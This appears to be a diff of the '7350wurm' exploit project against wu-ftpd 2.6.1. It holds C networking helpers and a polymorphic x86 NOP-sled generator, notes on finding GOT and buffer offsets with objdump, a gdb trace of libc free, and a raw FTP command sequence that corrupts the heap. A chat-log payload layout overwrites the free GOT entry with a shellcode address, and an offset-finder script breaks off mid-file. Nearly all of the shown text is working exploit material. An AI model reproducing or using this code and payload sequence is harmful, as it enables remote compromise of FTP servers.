| 491 | ftp_recv_until (ftpsock, resp, sizeof (resp), "230 "); | ||
| 492 | |||
| 493 | if (memcmp (resp, "230 ", 4) != 0) { | ||
| 494 | if (verbose) | ||
| 495 | printf ("\n%s\n", resp); | ||
| 496 | goto flerr; | ||
| 497 | } | ||
| 498 | |||
| 499 | return (ftpsock); | ||
| 500 | |||
| 501 | flerr: | ||
| 502 | if (ftpsock > 0) | ||
| 503 | close (ftpsock); | ||
| 504 | |||
| 505 | return (0); | ||
| 506 | } | ||
| 507 | |||
| 508 | |||
| 509 | /* ripped from zodiac */ | ||
| 510 | void | ||
| 511 | hexdump (char *desc, unsigned char *data, unsigned int amount) | ||
| 512 | { | ||
| 513 | unsigned int dp, p; /* data pointer */ | ||
| 514 | const char trans[] = | ||
| 515 | "................................ !\"#$%&'()*+,-./0123456789" | ||
| 516 | ":;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklm" | ||
| 517 | "nopqrstuvwxyz{|}~...................................." | ||
| 518 | "....................................................." | ||
| 519 | "........................................"; | ||
| 520 | |||
| 521 | |||
| 522 | printf ("/* %s, %u bytes */\n", desc, amount); | ||
| 523 | |||
| 524 | for (dp = 1; dp <= amount; dp++) { | ||
| 525 | fprintf (stderr, "%02x ", data[dp-1]); | ||
| 526 | if ((dp % 8) == 0) | ||
| 527 | fprintf (stderr, " "); | ||
| 528 | if ((dp % 16) == 0) { | ||
| 529 | fprintf (stderr, "| "); | ||
| 530 | p = dp; | ||
| 531 | for (dp -= 16; dp < p; dp++) | ||
| 532 | fprintf (stderr, "%c", trans[data[dp]]); | ||
| 533 | fflush (stderr); | ||
| 534 | fprintf (stderr, "\n"); | ||
| 535 | } | ||
| 536 | fflush (stderr); | ||
| 537 | } | ||
| 538 | if ((amount % 16) != 0) { | ||
| 539 | p = dp = 16 - (amount % 16); | ||
| 540 | for (dp = p; dp > 0; dp--) { | ||
| 541 | fprintf (stderr, " "); | ||
| 542 | if (((dp % 8) == 0) && (p != 8)) | ||
| 543 | fprintf (stderr, " "); | ||
| 544 | fflush (stderr); | ||
| 545 | } | ||
| 546 | fprintf (stderr, " | "); | ||
| 547 | for (dp = (amount - (16 - p)); dp < amount; dp++) | ||
| 548 | fprintf (stderr, "%c", trans[data[dp]]); | ||
| 549 | fflush (stderr); | ||
| 550 | } | ||
| 551 | fprintf (stderr, "\n"); | ||
| 552 | |||
| 553 | return; | ||
| 554 | } | ||
| 555 | |||
| 556 | |||
| 557 | |||
| 558 | unsigned long int | ||
| 559 | net_resolve (char *host) | ||
| 560 | { | ||
| 561 | long i; | ||
| 562 | struct hostent *he; | ||
| 563 | |||
| 564 | i = inet_addr(host); | ||
| 565 | if (i == -1) { | ||
| 566 | he = gethostbyname(host); | ||
| 567 | if (he == NULL) { | ||
| 568 | return (0); | ||
| 569 | } else { | ||
| 570 | return (*(unsigned long *) he->h_addr); | ||
| 571 | } | ||
| 572 | } | ||
| 573 | return (i); | ||
| 574 | } | ||
| 575 | |||
| 576 | |||
| 577 | int | ||
| 578 | net_connect (struct sockaddr_in *cs, char *server, | ||
| 579 | unsigned short int port, int sec) | ||
| 580 | { | ||
| 581 | int n, | ||
| 582 | len, | ||
| 583 | error, | ||
| 584 | flags; | ||
| 585 | int fd; | ||
| 586 | struct timeval tv; | ||
| 587 | fd_set rset, wset; | ||
| 588 | struct sockaddr_in csa; | ||
| 589 | |||
| 590 | if (cs == NULL) | ||
| 591 | cs = &csa; | ||
| 592 | |||
| 593 | /* first allocate a socket */ | ||
| 594 | cs->sin_family = AF_INET; | ||
| 595 | cs->sin_port = htons (port); | ||
| 596 | fd = socket (cs->sin_family, SOCK_STREAM, 0); | ||
| 597 | if (fd == -1) | ||
| 598 | return (-1); | ||
| 599 | |||
| 600 | if (!(cs->sin_addr.s_addr = net_resolve (server))) { | ||
| 601 | close (fd); | ||
| 602 | return (-1); | ||
| 603 | } | ||
| 604 | |||
| 605 | flags = fcntl (fd, F_GETFL, 0); | ||
| 606 | if (flags == -1) { | ||
| 607 | close (fd); | ||
| 608 | return (-1); | ||
| 609 | } | ||
| 610 | n = fcntl (fd, F_SETFL, flags | O_NONBLOCK); | ||
| 611 | if (n == -1) { | ||
| 612 | close (fd); | ||
| 613 | return (-1); | ||
| 614 | } | ||
| 615 | |||
| 616 | error = 0; | ||
| 617 | |||
| 618 | n = connect (fd, (struct sockaddr *) cs, sizeof (struct sockaddr_in)); | ||
| 619 | if (n < 0) { | ||
| 620 | if (errno != EINPROGRESS) { | ||
| 621 | close (fd); | ||
| 622 | return (-1); | ||
| 623 | } | ||
| 624 | } | ||
| 625 | if (n == 0) | ||
| 626 | goto done; | ||
| 627 | |||
| 628 | FD_ZERO(&rset); | ||
| 629 | FD_ZERO(&wset); | ||
| 630 | FD_SET(fd, &rset); | ||
| 631 | FD_SET(fd, &wset); | ||
| 632 | tv.tv_sec = sec; | ||
| 633 | tv.tv_usec = 0; | ||
| 634 | |||
| 635 | n = select(fd + 1, &rset, &wset, NULL, &tv); | ||
| 636 | if (n == 0) { | ||
| 637 | close(fd); | ||
| 638 | errno = ETIMEDOUT; | ||
| 639 | return (-1); | ||
| 640 | } | ||
| 641 | if (n == -1) | ||
| 642 | return (-1); | ||
| 643 | |||
| 644 | if (FD_ISSET(fd, &rset) || FD_ISSET(fd, &wset)) { | ||
| 645 | if (FD_ISSET(fd, &rset) && FD_ISSET(fd, &wset)) { | ||
| 646 | len = sizeof(error); | ||
| 647 | if (getsockopt(fd, SOL_SOCKET, SO_ERROR, &error, &len) < 0) { | ||
| 648 | errno = ETIMEDOUT; | ||
| 649 | return (-1); | ||
| 650 | } | ||
| 651 | if (error == 0) { | ||
| 652 | goto done; | ||
| 653 | } else { | ||
| 654 | errno = error; | ||
| 655 | return (-1); | ||
| 656 | } | ||
| 657 | } | ||
| 658 | } else | ||
| 659 | return (-1); | ||
| 660 | |||
| 661 | done: | ||
| 662 | n = fcntl(fd, F_SETFL, flags); | ||
| 663 | if (n == -1) | ||
| 664 | return (-1); | ||
| 665 | return (fd); | ||
| 666 | } | ||
| 667 | |||
| 668 | |||
| 669 | void | ||
| 670 | net_write (int fd, const char *str, ...) | ||
| 671 | { | ||
| 672 | char tmp[1025]; | ||
| 673 | va_list vl; | ||
| 674 | int i; | ||
| 675 | |||
| 676 | va_start(vl, str); | ||
| 677 | memset(tmp, 0, sizeof(tmp)); | ||
| 678 | i = vsnprintf(tmp, sizeof(tmp), str, vl); | ||
| 679 | va_end(vl); | ||
| 680 | |||
| 681 | #ifdef DEBUG | ||
| 682 | printf("[snd] %s\n", tmp); | ||
| 683 | #endif | ||
| 684 | |||
| 685 | send(fd, tmp, i, 0); | ||
| 686 | return; | ||
| 687 | } | ||
| 688 | |||
| 689 | |||
| 690 | int | ||
| 691 | net_rlinet (int fd, char *buf, int bufsize, int sec) | ||
| 692 | { | ||
| 693 | int n; | ||
| 694 | unsigned long int rb = 0; | ||
| 695 | struct timeval tv_start, tv_cur; | ||
| 696 | |||
| 697 | memset(buf, '\0', bufsize); | ||
| 698 | (void) gettimeofday(&tv_start, NULL); | ||
| 699 | |||
| 700 | do { | ||
| 701 | (void) gettimeofday(&tv_cur, NULL); | ||
| 702 | if (sec > 0) { | ||
| 703 | if ((((tv_cur.tv_sec * 1000000) + (tv_cur.tv_usec)) - | ||
| 704 | ((tv_start.tv_sec * 1000000) + (tv_start.tv_usec))) > (sec * 1000000)) { | ||
| 705 | return (-1); | ||
| 706 | } | ||
| 707 | } | ||
| 708 | n = net_rtimeout(fd, NET_READTIMEOUT); | ||
| 709 | if (n <= 0) { | ||
| 710 | return (-1); | ||
| 711 | } | ||
| 712 | n = read(fd, buf, 1); | ||
| 713 | if (n <= 0) { | ||
| 714 | return (n); | ||
| 715 | } | ||
| 716 | rb++; | ||
| 717 | if (*buf == '\n') | ||
| 718 | return (rb); | ||
| 719 | buf++; | ||
| 720 | if (rb >= bufsize) | ||
| 721 | return (-2); /* buffer full */ | ||
| 722 | } while (1); | ||
| 723 | } | ||
| 724 | |||
| 725 | |||
| 726 | int | ||
| 727 | net_rtimeout (int fd, int sec) | ||
| 728 | { | ||
| 729 | fd_set rset; | ||
| 730 | struct timeval tv; | ||
| 731 | int n, error, flags; | ||
| 732 | |||
| 733 | error = 0; | ||
| 734 | flags = fcntl(fd, F_GETFL, 0); | ||
| 735 | n = fcntl(fd, F_SETFL, flags | O_NONBLOCK); | ||
| 736 | if (n == -1) | ||
| 737 | return (-1); | ||
| 738 | |||
| 739 | FD_ZERO(&rset); | ||
| 740 | FD_SET(fd, &rset); | ||
| 741 | tv.tv_sec = sec; | ||
| 742 | tv.tv_usec = 0; | ||
| 743 | |||
| 744 | /* now we wait until more data is received then the tcp low level watermark, | ||
| 745 | * which should be setted to 1 in this case (1 is default) | ||
| 746 | */ | ||
| 747 | |||
| 748 | n = select(fd + 1, &rset, NULL, NULL, &tv); | ||
| 749 | if (n == 0) { | ||
| 750 | n = fcntl(fd, F_SETFL, flags); | ||
| 751 | if (n == -1) | ||
| 752 | return (-1); | ||
| 753 | errno = ETIMEDOUT; | ||
| 754 | return (-1); | ||
| 755 | } | ||
| 756 | if (n == -1) { | ||
| 757 | return (-1); | ||
| 758 | } | ||
| 759 | /* socket readable ? */ | ||
| 760 | if (FD_ISSET(fd, &rset)) { | ||
| 761 | n = fcntl(fd, F_SETFL, flags); | ||
| 762 | if (n == -1) | ||
| 763 | return (-1); | ||
| 764 | return (1); | ||
| 765 | } else { | ||
| 766 | n = fcntl(fd, F_SETFL, flags); | ||
| 767 | if (n == -1) | ||
| 768 | return (-1); | ||
| 769 | errno = ETIMEDOUT; | ||
| 770 | return (-1); | ||
| 771 | } | ||
| 772 | } | ||
| 773 | |||
| 774 | /* imported from shellkit */ | ||
| 775 | |||
| 776 | unsigned long int | ||
| 777 | random_get (unsigned long int low, unsigned long int high) | ||
| 778 | { | ||
| 779 | unsigned long int val; | ||
| 780 | |||
| 781 | if (low > high) { | ||
| 782 | low ^= high; | ||
| 783 | high ^= low; | ||
| 784 | low ^= high; | ||
| 785 | } | ||
| 786 | |||
| 787 | val = (unsigned long int) random (); | ||
| 788 | val %= (high - low); | ||
| 789 | val += low; | ||
| 790 | |||
| 791 | return (val); | ||
| 792 | } | ||
| 793 | |||
| 794 | |||
| 795 | void | ||
| 796 | random_init (void) | ||
| 797 | { | ||
| 798 | srandom (time (NULL)); | ||
| 799 | } | ||
| 800 | |||
| 801 | |||
| 802 | int | ||
| 803 | bad (unsigned char u) | ||
| 804 | { | ||
| 805 | if (u == '\x00' || u == '\x0a' || u == '\x0d' || u == '\x25') | ||
| 806 | return (1); | ||
| 807 | |||
| 808 | return (0); | ||
| 809 | } | ||
| 810 | |||
| 811 | int | ||
| 812 | badstr (unsigned char *code, int code_len, unsigned char *bad, int bad_len) | ||
| 813 | { | ||
| 814 | int n; | ||
| 815 | |||
| 816 | for (code_len -= 1 ; code_len >= 0 ; --code_len) { | ||
| 817 | for (n = 0 ; n < bad_len ; ++n) | ||
| 818 | if (code[code_len] == bad[n]) | ||
| 819 | return (1); | ||
| 820 | } | ||
| 821 | |||
| 822 | return (0); | ||
| 823 | } | ||
| 824 | |||
| 825 | unsigned long int | ||
| 826 | x86_nop_rwreg (void) | ||
| 827 | { | ||
| 828 | unsigned long int reg; | ||
| 829 | |||
| 830 | do { | ||
| 831 | reg = random_get (0, 7); | ||
| 832 | } while (reg == 4); /* 4 = $esp */ | ||
| 833 | |||
| 834 | return (reg); | ||
| 835 | } | ||
| 836 | |||
| 837 | |||
| 838 | |||
| 839 | unsigned long int | ||
| 840 | x86_nop_xfer (char *xferstr) | ||
| 841 | { | ||
| 842 | int bw = 0; /* bitfield walker */ | ||
| 843 | unsigned char tgt; /* resulting instruction */ | ||
| 844 | |||
| 845 | /* in a valid xferstr we trust */ | ||
| 846 | for (tgt = 0 ; xferstr != NULL && xferstr[0] != '\0' ; ++xferstr) { | ||
| 847 | switch (xferstr[0]) { | ||
| 848 | case ('0'): | ||
| 849 | BSET (tgt, 1, 0, bw); | ||
| 850 | break; | ||
| 851 | case ('1'): | ||
| 852 | BSET (tgt, 1, 1, bw); | ||
| 853 | break; | ||
| 854 | case ('r'): | ||
| 855 | BSET (tgt, 3, x86_nop_rwreg (), bw); | ||
| 856 | break; | ||
| 857 | case ('.'): | ||
| 858 | break; /* ignore */ | ||
| 859 | default: | ||
| 860 | fprintf (stderr, "on steroids, huh?\n"); | ||
| 861 | exit (EXIT_FAILURE); | ||
| 862 | break; | ||
| 863 | } | ||
| 864 | } | ||
| 865 | |||
| 866 | if (bw != 8) { | ||
| 867 | fprintf (stderr, "invalid bitwalker: bw = %d\n", bw); | ||
| 868 | exit (EXIT_FAILURE); | ||
| 869 | } | ||
| 870 | |||
| 871 | return (tgt); | ||
| 872 | } | ||
| 873 | |||
| 874 | |||
| 875 | unsigned int | ||
| 876 | x86_nop (unsigned char *dest, unsigned int dest_len, | ||
| 877 | unsigned char *bad, int bad_len) | ||
| 878 | { | ||
| 879 | int walk; | ||
| 880 | int bcount; /* bad counter */ | ||
| 881 | char * xs; | ||
| 882 | char * xferstr[] = { | ||
| 883 | "0011.0111", /* aaa */ | ||
| 884 | "0011.1111", /* aas */ | ||
| 885 | "1001.1000", /* cbw */ | ||
| 886 | "1001.1001", /* cdq */ | ||
| 887 | "1111.1000", /* clc */ | ||
| 888 | "1111.1100", /* cld */ | ||
| 889 | "1111.0101", /* cmc */ | ||
| 890 | "0010.0111", /* daa */ | ||
| 891 | "0010.1111", /* das */ | ||
| 892 | "0100.1r", /* dec <reg> */ | ||
| 893 | "0100.0r", /* inc <reg> */ | ||
| 894 | "1001.1111", /* lahf */ | ||
| 895 | "1001.0000", /* nop */ | ||
| 896 | "1111.1001", /* stc */ | ||
| 897 | "1111.1101", /* std */ | ||
| 898 | "1001.0r", /* xchg al, <reg> */ | ||
| 899 | NULL, | ||
| 900 | }; | ||
| 901 | unsigned char tgt; | ||
| 902 | |||
| 903 | |||
| 904 | for (walk = 0 ; dest_len > 0 ; dest_len -= 1 , walk += 1) { | ||
| 905 | /* avoid endless loops on excessive badlisting */ | ||
| 906 | for (bcount = 0 ; bcount < 16384 ; ++bcount) { | ||
| 907 | xs = xferstr[random_get (0, 15)]; | ||
| 908 | tgt = x86_nop_xfer (xs); | ||
| 909 | |||
| 910 | dest[walk] = tgt; | ||
| 911 | if (badstr (&dest[walk], 1, bad, bad_len) == 0) | ||
| 912 | break; | ||
| 913 | } | ||
| 914 | |||
| 915 | /* should not happen */ | ||
| 916 | if (bcount >= 16384) { | ||
| 917 | fprintf (stderr, "too much blacklisting, giving up...\n"); | ||
| 918 | exit (EXIT_FAILURE); | ||
| 919 | } | ||
| 920 | } | ||
| 921 | |||
| 922 | return (walk); | ||
| 923 | } | ||
| 924 | |||
| 925 | |||
diff --git a/exploits/7350wurm/doc/for-scut.txt b/exploits/7350wurm/doc/for-scut.txt new file mode 100644 index 0000000..3045d29 --- /dev/null +++ b/exploits/7350wurm/doc/for-scut.txt | |||
| @@ -0,0 +1,48 @@ | |||
| 1 | ## get the version string | ||
| 2 | [dvorak@redhat get-offset]$ strings in.ftpd | grep ^Version | ||
| 3 | Version wu-2.6.1-16 | ||
| 4 | |||
| 5 | ## get the GOT address of free | ||
| 6 | [dvorak@redhat get-offset]$ objdump --dynamic-reloc in.ftpd > dynrel | ||
| 7 | [dvorak@redhat get-offset]$ grep free dynrel | ||
| 8 | 0807314c R_386_JUMP_SLOT free | ||
| 9 | 0807319c R_386_JUMP_SLOT globfree64 | ||
| 10 | |||
| 11 | ## get cbuf | ||
| 12 | [dvorak@redhat get-offset]$ objdump --disassemble in.ftpd > disass | ||
| 13 | objdump: in.ftpd: no symbols | ||
| 14 | [dvorak@redhat get-offset]$ objdump -T in.ftpd > dynsym | ||
| 15 | ## first get address of strncasecmp | ||
| 16 | [dvorak@redhat get-offset]$ grep strncasecmp dynsym | ||
| 17 | 0804acd8 DF *UND* 00000065 GLIBC_2.0 strncasecmp | ||
| 18 | |||
| 19 | ## look for calls with 3rd argument 0xa | ||
| 20 | [dvorak@redhat get-offset]$ grep 804acd8 -B3 disass | grep '\$0xa' | ||
| 21 | 805a788: 6a 0a push $0xa | ||
| 22 | |||
| 23 | ## see what is used as first argument (cbuf) to strncasecmp | ||
| 24 | [dvorak@redhat get-offset]$ grep -A3 '^ 805a788' disass | ||
| 25 | 805a788: 6a 0a push $0xa | ||
| 26 | 805a78a: 68 43 d7 06 08 push $0x806d743 | ||
| 27 | 805a78f: 53 push %ebx | ||
| 28 | 805a790: e8 43 05 ff ff call 0x804acd8 | ||
| 29 | |||
| 30 | ## its, ebx, see where ebx gets set | ||
| 31 | [dvorak@redhat get-offset]$ grep -B100 '^ 805a788' disass | grep ebx | ||
| 32 | 805a68a: bb e0 5d 08 08 mov $0x8085de0,%ebx | ||
| 33 | 805a6b0: 43 inc %ebx | ||
| 34 | 805a6b1: 0f b6 13 movzbl (%ebx),%edx | ||
| 35 | 805a6de: 89 df mov %ebx,%edi | ||
| 36 | 805a6fa: bb 04 00 00 00 mov $0x4,%ebx | ||
| 37 | 805a704: 89 1d e0 64 07 08 mov %ebx,0x80764e0 | ||
| 38 | ### EUREKA last place where ebx is set .. so cbuf is at .. 0x8085de0 | ||
| 39 | 805a70a: bb e0 5d 08 08 mov $0x8085de0,%ebx | ||
| 40 | 805a712: 0f b6 14 1e movzbl (%esi,%ebx,1),%edx | ||
| 41 | 805a719: c6 04 1e 00 movb $0x0,(%esi,%ebx,1) | ||
| 42 | 805a71d: 53 push %ebx | ||
| 43 | 805a72d: 53 push %ebx | ||
| 44 | 805a752: 53 push %ebx | ||
| 45 | 805a772: 53 push %ebx | ||
| 46 | |||
| 47 | |||
| 48 | ## that's all folks | ||
diff --git a/exploits/7350wurm/doc/free.txt b/exploits/7350wurm/doc/free.txt new file mode 100644 index 0000000..33fa2ba --- /dev/null +++ b/exploits/7350wurm/doc/free.txt | |||
| @@ -0,0 +1,77 @@ | |||
| 1 | |||
| 2 | break *0x8058afb | ||
| 3 | |||
| 4 | 0x400aacc8 <__libc_free>: push %ebp | ||
| 5 | 0x400aacc9 <__libc_free+1>: mov %esp,%ebp | ||
| 6 | 0x400aaccb <__libc_free+3>: push %edi | ||
| 7 | 0x400aaccc <__libc_free+4>: push %esi | ||
| 8 | 0x400aaccd <__libc_free+5>: push %ebx | ||
| 9 | 0x400aacce <__libc_free+6>: call 0x400aacd3 <__libc_free+11> | ||
| 10 | 0x400aacd3 <__libc_free+11>: pop %ebx | ||
| 11 | 0x400aacd4 <__libc_free+12>: add $0x957b9,%ebx | ||
| 12 | 0x400aacda <__libc_free+18>: mov 0x8(%ebp),%ecx ; ecx = parameter | ||
| 13 | 0x400aacdd <__libc_free+21>: mov 0x848(%ebx),%eax | ||
| 14 | 0x400aace3 <__libc_free+27>: mov (%eax),%eax ; __free_hook | ||
| 15 | 0x400aace5 <__libc_free+29>: test %eax,%eax ; == NULL ? | ||
| 16 | 0x400aace7 <__libc_free+31>: je 0x400aacf4 <__libc_free+44> ; -> skip | ||
| 17 | |||
| 18 | 0x400aace9 <__libc_free+33>: pushl 0x4(%ebp) | ||
| 19 | 0x400aacec <__libc_free+36>: push %ecx | ||
| 20 | 0x400aaced <__libc_free+37>: call *%eax | ||
| 21 | 0x400aacef <__libc_free+39>: jmp 0x400aad8a <__libc_free+194> | ||
| 22 | |||
| 23 | 0x400aacf4 <__libc_free+44>: test %ecx,%ecx ; free (NULL) ? | ||
| 24 | 0x400aacf6 <__libc_free+46>: je 0x400aad8a <__libc_free+194> ; -> exit | ||
| 25 | |||
| 26 | 0x400aacfc <__libc_free+52>: lea 0xfffffff8(%ecx),%esi ; esi = ecx - 8 | ||
| 27 | 0x400aacff <__libc_free+55>: mov 0xfffffffc(%ecx),%eax ; eax = [ecx - 4] (size) | ||
| 28 | 0x400aad02 <__libc_free+58>: test $0x2,%al ; mmapped ? | ||
| 29 | 0x400aad04 <__libc_free+60>: je 0x400aad30 <__libc_free+104> | ||
| 30 | |||
| 31 | 0x400aad06 <__libc_free+62>: and $0xfc,%al ; MUNMAP | ||
| 32 | 0x400aad08 <__libc_free+64>: decl 0xfffff010(%ebx) | ||
| 33 | 0x400aad0e <__libc_free+70>: mov %eax,%edx | ||
| 34 | 0x400aad10 <__libc_free+72>: add 0xfffffff8(%ecx),%edx | ||
| 35 | 0x400aad13 <__libc_free+75>: sub %edx,0xfffff018(%ebx) | ||
| 36 | 0x400aad19 <__libc_free+81>: mov 0xfffffff8(%ecx),%edx | ||
| 37 | 0x400aad1c <__libc_free+84>: add %edx,%eax | ||
| 38 | 0x400aad1e <__libc_free+86>: push %eax | ||
| 39 | 0x400aad1f <__libc_free+87>: sub %edx,%esi | ||
| 40 | 0x400aad21 <__libc_free+89>: push %esi | ||
| 41 | 0x400aad22 <__libc_free+90>: call 0x400ffd80 <__munmap> | ||
| 42 | 0x400aad27 <__libc_free+95>: jmp 0x400aad8a <__libc_free+194> | ||
| 43 | 0x400aad29 <__libc_free+97>: lea 0x0(%esi,1),%esi | ||
| 44 | |||
| 45 | 0x400aad30 <__libc_free+104>: lea 0xffffebb4(%ebx),%eax | ||
| 46 | 0x400aad36 <__libc_free+110>: cmp 0xffffebbc(%ebx),%esi | ||
| 47 | 0x400aad3c <__libc_free+116>: jae 0x400aad46 <__libc_free+126> | ||
| 48 | 0x400aad3e <__libc_free+118>: cmp 0xfffff008(%ebx),%esi | ||
| 49 | 0x400aad44 <__libc_free+124>: jae 0x400aad52 <__libc_free+138> | ||
| 50 | 0x400aad46 <__libc_free+126>: mov %esi,%edx | ||
| 51 | 0x400aad48 <__libc_free+128>: and $0xfff00000,%edx | ||
| 52 | |||
| 53 | segfault | ||
| 54 | 0x400aad4e <__libc_free+134>: mov (%edx),%edi | ||
| 55 | 0x400aad50 <__libc_free+136>: jmp 0x400aad54 <__libc_free+140> | ||
| 56 | 0x400aad52 <__libc_free+138>: mov %eax,%edi | ||
| 57 | 0x400aad54 <__libc_free+140>: cmpl $0x0,0x738(%ebx) | ||
| 58 | 0x400aad5b <__libc_free+147>: je 0x400aad6c <__libc_free+164> | ||
| 59 | 0x400aad5d <__libc_free+149>: lea 0x410(%edi),%eax | ||
| 60 | 0x400aad63 <__libc_free+155>: push %eax | ||
| 61 | 0x400aad64 <__libc_free+156>: call 0x400684ec <_ufc_foobar+223884> | ||
| 62 | 0x400aad69 <__libc_free+161>: add $0x4,%esp | ||
| 63 | 0x400aad6c <__libc_free+164>: mov %esi,%edx | ||
| 64 | 0x400aad6e <__libc_free+166>: mov %edi,%eax | ||
| 65 | 0x400aad70 <__libc_free+168>: call 0x400aad94 <chunk_free> | ||
| 66 | 0x400aad75 <__libc_free+173>: cmpl $0x0,0x74c(%ebx) | ||
| 67 | 0x400aad7c <__libc_free+180>: je 0x400aad8a <__libc_free+194> | ||
| 68 | 0x400aad7e <__libc_free+182>: lea 0x410(%edi),%eax | ||
| 69 | 0x400aad84 <__libc_free+188>: push %eax | ||
| 70 | 0x400aad85 <__libc_free+189>: call 0x40068d7c <_ufc_foobar+226076> | ||
| 71 | 0x400aad8a <__libc_free+194>: lea 0xfffffff4(%ebp),%esp | ||
| 72 | 0x400aad8d <__libc_free+197>: pop %ebx | ||
| 73 | 0x400aad8e <__libc_free+198>: pop %esi | ||
| 74 | 0x400aad8f <__libc_free+199>: pop %edi | ||
| 75 | 0x400aad90 <__libc_free+200>: leave | ||
| 76 | 0x400aad91 <__libc_free+201>: ret | ||
| 77 | 0x400aad92 <__libc_free+202>: mov %esi,%esi | ||
diff --git a/exploits/7350wurm/doc/syn.txt b/exploits/7350wurm/doc/syn.txt new file mode 100644 index 0000000..79e75a3 --- /dev/null +++ b/exploits/7350wurm/doc/syn.txt | |||
| @@ -0,0 +1,73 @@ | |||
| 1 | USER ftp | ||
| 2 | PASS mozilla@ | ||
| 3 | RNFR ././././ | ||
| 4 | RNFR ././././ | ||
| 5 | RNFR ././././ | ||
| 6 | RNFR ././././ | ||
| 7 | RNFR ././././ | ||
| 8 | RNFR ././././ | ||
| 9 | RNFR ././././ | ||
| 10 | RNFR ././././ | ||
| 11 | RNFR ././././ | ||
| 12 | RNFR ././././ | ||
| 13 | RNFR ././././ | ||
| 14 | RNFR ././././ | ||
| 15 | RNFR ././././ | ||
| 16 | RNFR ././././ | ||
| 17 | RNFR ././././ | ||
| 18 | RNFR ././././ | ||
| 19 | RNFR ././././ | ||
| 20 | RNFR ././././ | ||
| 21 | RNFR ././././ | ||
| 22 | RNFR ././././ | ||
| 23 | RNFR ././././ | ||
| 24 | RNFR ././././ | ||
| 25 | RNFR ././././ | ||
| 26 | RNFR ././././ | ||
| 27 | RNFR ././././ | ||
| 28 | RNFR ././././ | ||
| 29 | RNFR ././././ | ||
| 30 | RNFR ././././ | ||
| 31 | RNFR ././././ | ||
| 32 | RNFR ././././ | ||
| 33 | RNFR ././././ | ||
| 34 | RNFR ././././ | ||
| 35 | RNFR ././././ | ||
| 36 | RNFR ././././ | ||
| 37 | RNFR ././././ | ||
| 38 | RNFR ././././ | ||
| 39 | RNFR ././././././././././././. | ||
| 40 | RNFR ././././ | ||
| 41 | RNFR ././././ | ||
| 42 | RNFR ././././ | ||
| 43 | RNFR ././././ | ||
| 44 | RNFR ././././ | ||
| 45 | RNFR ././././ | ||
| 46 | RNFR ././././ | ||
| 47 | RNFR ././././ | ||
| 48 | RNFR ././././ | ||
| 49 | RNFR ././././ | ||
| 50 | RNFR ././././ | ||
| 51 | RNFR ././././ | ||
| 52 | RNFR ././././ | ||
| 53 | RNFR ././././ | ||
| 54 | RNFR ././././ | ||
| 55 | RNFR ././././ | ||
| 56 | RNFR ././././ | ||
| 57 | RNFR ././././ | ||
| 58 | RNFR ././././ | ||
| 59 | RNFR ././././ | ||
| 60 | RNFR ././././ | ||
| 61 | RNFR ././././ | ||
| 62 | RNFR ././././ | ||
| 63 | RNFR ././././ | ||
| 64 | RNFR ././././ | ||
| 65 | CWD AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACCCCDDDD44445555 | ||
| 66 | CWD ~/{.,.,.,.} | ||
| 67 | RNFR ././././././././ | ||
| 68 | CWD AAAAsiz | ||
| 69 | CWD AAAAsi | ||
| 70 | CWD AAAAi | ||
| 71 | RNFR . | ||
| 72 | RNFR ././././././././ | ||
| 73 | CWD ~{ | ||
diff --git a/exploits/7350wurm/doc/synnergy-method.txt b/exploits/7350wurm/doc/synnergy-method.txt new file mode 100644 index 0000000..96b64ea --- /dev/null +++ b/exploits/7350wurm/doc/synnergy-method.txt | |||
| @@ -0,0 +1,16 @@ | |||
| 1 | <dvorak> blaat.append('A', 96+32); /* padding */ | ||
| 2 | <dvorak> blaat.append(0xfffffff0); /* the chunk */ | ||
| 3 | <dvorak> blaat.append(-4); | ||
| 4 | <dvorak> blaat.append( 0x0806f7ac - 12 ); | ||
| 5 | <dvorak> blaat.append( 0xbffffb49 ); | ||
| 6 | <dvorak> conn.sendout("CWD %s\r\n", blaat.c_str()); | ||
| 7 | <dvorak> conn.sendout("CWD %s\r\n", "~/{.,.,.,.}"); /*getting pointer on the heap */ | ||
| 8 | <dvorak> conn.sendout("RNFR %s\r\n", "././././././././"); /* 24 */ | ||
| 9 | <dvorak> conn.sendout("CWD %s\r\n", "AAAAsiz"); /* buidling size field */ | ||
| 10 | <dvorak> conn.sendout("CWD %s\r\n", "AAAAsi"); | ||
| 11 | <dvorak> conn.sendout("CWD %s\r\n", "AAAA\x69"); | ||
| 12 | <dvorak> conn.sendout("RNFR .\r\n"); /* keeping it malloced */ | ||
| 13 | <dvorak> conn.sendout("RNFR %s\r\n", "././././././././"); /* filling */ | ||
| 14 | <dvorak> conn.sendout("CWD ~{\r\n"); /* BOOM */ | ||
| 15 | |||
| 16 | |||
diff --git a/exploits/7350wurm/offset-find.sh b/exploits/7350wurm/offset-find.sh new file mode 100644 index 0000000..7624071 --- /dev/null +++ b/exploits/7350wurm/offset-find.sh | |||
| @@ -0,0 +1,57 @@ | |||
| 1 | #!/bin/sh | ||
| 2 | |||
| 3 | # 7350wurm offset finder | ||
| 4 | # dvorak & scut | ||
| 5 | |||
| 6 | check_util () | ||
| 7 | { | ||
| 8 | for util in $*; do | ||
| 9 | echo -n "checking for $util: " | ||
| 10 | if ! which $util; then | ||
| 11 | echo "not found, aborting" | ||
| 12 | exit | ||
| 13 | fi | ||
| 14 | done | ||
| 15 | } | ||
| 16 | |||
| 17 | echo "7350wurm exploit offset finder" | ||
| 18 | echo | ||
| 19 | |||
| 20 | if [ $# != 1 ]; then | ||
| 21 | echo "usage: $0 /path/to/wuftpd/binary" | ||
| 22 | echo | ||
| 23 | exit | ||
| 24 | fi; | ||
| 25 | |||
| 26 | |||
| 27 | check_util strings objdump | ||
| 28 | |||
| 29 | echo | ||
| 30 | |||
| 31 | versionstring=`strings $1 | grep ^Version` | ||
| 32 | echo $versionstring | ||
| 33 | |||
| 34 | freeaddr=`objdump -R $1 | grep free$ | grep -v glob | awk '{print $1}'` | ||
| 35 | echo $freeaddr | ||
| 36 | |||
| 37 | strncasecmpaddr=`objdump -T $1 | grep strncasecmp | awk '{print $1}' | \ | ||
| 38 | sed "s/^0*//g"` | ||
| 39 | echo # $strncasecmpaddr | ||
| 40 | |||
| 41 | tmpaddr=`objdump --disassemble $1 2>/dev/null | grep -B3 $strncasecmpaddr | \ | ||
| 42 | grep "\\$0xa" | awk '{print $1}' | cut -d ':' -f1` | ||
